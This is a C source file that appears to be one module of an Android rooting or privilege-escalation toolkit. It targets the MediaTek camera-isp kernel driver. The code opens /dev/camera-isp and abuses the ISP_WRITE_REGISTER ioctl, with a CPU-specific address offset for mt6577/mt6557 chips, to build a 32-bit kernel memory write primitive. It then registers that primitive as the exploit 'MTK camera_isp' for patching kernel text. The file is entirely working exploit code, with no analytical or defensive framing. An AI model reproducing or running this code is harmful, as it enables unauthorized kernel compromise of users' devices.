
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>

#define MTK_M4U_MAGICNO 'g'
#define MTK_M4U_T_REG_SET             _IOW(MTK_M4U_MAGICNO, 24, int)

#define ISP_ADDR_CAMINF 0xF5000000
#define ISP_ADDR_CAMINF_1 0xF2090000

typedef struct
{
    unsigned int Addr;   // register's addr
    unsigned int Val;    // register's value
}ISP_REG_STRUCT;

typedef struct
{
    unsigned int Data;   // pointer to ISP_REG_STRUCT
    unsigned int Count;  // count
}ISP_REG_IO_STRUCT;

#define ISP_CMD_WRITE_REG   3
#define ISP_MAGIC           'k'
#define ISP_WRITE_REGISTER  _IOWR(ISP_MAGIC, ISP_CMD_WRITE_REG, ISP_REG_IO_STRUCT)

//add by ygq
int get_cpu_hardware(char * szbuf, int nlen)
{
  FILE *fp;
  char name[BUFSIZ];
  char value[BUFSIZ];
  int ret;
  char * hardware = NULL;

  fp = fopen("/proc/cpuinfo", "r");
  if (!fp) {
    //ALOGI("Failed to open /proc/cpuinfo due to %s.", strerror(errno));
    return -1;
  }
  int nret = -1;
  while ((ret = fscanf(fp, "%[^:]: %[^\n]\n", name, value)) != EOF) {
    if (!strncmp(name, "Hardware", 8) && strlen(value) < nlen) {
    	memcpy(szbuf, value, strlen(value));
    	nret = 0;
    	break;
    }
  }
  fclose(fp);

  return nret;
}

static int mtk_camera_isp_init(void **opaque) {
    int fd;

    *opaque = (void *)(-1);
    fd = open("/dev/camera-isp", O_RDWR);
    if (fd < 0) {
        // LOGE("open");
        return -1;
    }
    *opaque = (void *) fd;
    return 0;
}

static void mtk_camera_isp_free(void **opaque) {
    int fd;

    fd = (int)(*opaque);
    if (fd >= 0)
        close(fd);
}

static int mtk_camera_isp_write32(void *opaque, long addr, long val) {
    int rc;
    ISP_REG_STRUCT info;
    ISP_REG_IO_STRUCT args;
	
	//add by ygq
    char szhardware[1024]={0};
    if (0 == get_cpu_hardware(szhardware,sizeof(szhardware))){
    	if (0 == strcasecmp(szhardware, "mt6577") ||0 == strcasecmp(szhardware, "mt6557")){
    		info.Addr = (unsigned int) addr - ISP_ADDR_CAMINF_1;
    	}else{
    		info.Addr = (unsigned int) addr - ISP_ADDR_CAMINF;
    	}

    }
    else{
    	info.Addr = (unsigned int) addr - ISP_ADDR_CAMINF;
    }//end add by ygq

    //info.Addr = (unsigned int) addr - ISP_ADDR_CAMINF;
    info.Val = (unsigned int) val;
    args.Data = (unsigned int) &info;
    args.Count = 1;

    rc = ioctl((int) opaque, ISP_WRITE_REGISTER, &args);
    if (rc < 0) {
        LOGE("ioctl()");
        return -1;
    }
    // XXX: wtf
    // usleep(1000 * 1000);
    return 0;
}

exploit_t EXPLOIT_mtk_camera_isp = {
    .name = "MTK camera_isp",
    .flags = EXPLOIT_POKE_TEXT,
    .init = mtk_camera_isp_init,
    .free = mtk_camera_isp_free,
    .write32 = mtk_camera_isp_write32,
}; 

void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(mtk_camera_isp);

//    switch (g_type) {
//
//    case S_MTK_2:
//    	ADDEXP(mtk_camera_isp);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
